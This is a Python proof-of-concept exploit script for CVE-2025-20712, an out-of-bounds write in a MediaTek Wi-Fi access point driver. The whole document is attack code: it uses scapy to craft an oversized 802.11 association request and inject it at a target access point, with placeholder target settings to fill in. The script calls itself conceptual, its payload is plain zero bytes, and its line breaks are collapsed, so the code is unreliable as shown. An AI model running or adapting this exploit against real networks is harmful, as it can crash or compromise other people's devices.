CVE-2025-20712

# CVE-2025-20712 PoC - MediaTek WLAN AP Driver Out of Bounds Write # This is a conceptual PoC demonstrating the vulnerability exploitation technique. # The actual exploit requires proximity to the target device and a wireless adapter # capable of raw frame injection (monitor mode). #!/usr/bin/env python3 """ CVE-2025-20712: MediaTek WLAN AP Driver Out-of-Bounds Write PoC Vulnerability: Incorrect bounds check in WLAN AP driver leading to OOB write CVSS: 8.8 (HIGH) Patch ID: WCNCR00422323 """ from scapy.all import * import struct class CVE_2025_20712: def __init__(self, target_bssid, source_mac): self.target_bssid = target_bssid self.source_mac = source_mac self.overflow_size = 256 # Oversized payload to trigger OOB write def craft_malicious_frame(self): """ Craft a malicious 802.11 management frame with oversized payload to trigger out-of-bounds write in the MediaTek WLAN AP driver. """ # 802.11 Management Frame - Association Request with malicious payload # Dot11 frame structure with oversized information elements dot11 = Dot11( addr1=self.target_bssid, # Destination (AP) addr2=self.source_mac, # Source (attacker) addr3=self.target_bssid # BSSID ) # Malicious Association Request with crafted IE that triggers OOB write # The oversized information element causes buffer overflow in driver malicious_payload = b'\x00' * self.overflow_size # Oversized data # Build frame with malformed parameters frame = RadioTap() / dot11 / Dot11AssoReq( cap=0x3101, listen_interval=0xFFFF ) / Raw(load=malicious_payload) return frame def trigger_oob_write(self, iface="wlan0"): """ Send the malicious frame to trigger out-of-bounds write vulnerability. Requires monitor mode capable wireless adapter. """ print(f"[*] Targeting BSSID: {self.target_bssid}") print(f"[*] Using source MAC: {self.source_mac}") print(f"[*] Interface: {iface}") frame = self.craft_malicious_frame() # Send the malicious frame sendp(frame, iface=iface, verbose=True) print("[+] Malicious frame sent successfully") print("[!] Target device may crash or be compromised") def main(): # Configuration - replace with actual target information TARGET_BSSID = "AA:BB:CC:DD:EE:FF" # Target AP BSSID SOURCE_MAC = "11:22:33:44:55:66" # Attacker MAC INTERFACE = "wlan0mon" # Monitor mode interface exploit = CVE_2025_20712(TARGET_BSSID, SOURCE_MAC) # Execute the exploit exploit.trigger_oob_write(iface=INTERFACE) if __name__ == "__main__": main()

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